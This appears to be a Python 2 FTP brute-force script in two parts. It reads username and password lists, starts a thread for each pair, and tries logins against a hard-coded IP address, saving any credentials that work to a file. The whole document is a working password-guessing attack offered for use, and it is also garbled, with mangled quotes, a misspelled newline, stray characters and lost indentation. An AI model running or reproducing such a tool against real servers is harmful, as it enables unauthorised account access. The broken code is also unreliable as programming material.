import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘/n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘/n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘a(chǎn)a.txt','a+')
hand.write(user+”:”+passwd+”/n”)
except ftplib.error_perm:
print “passwd is world”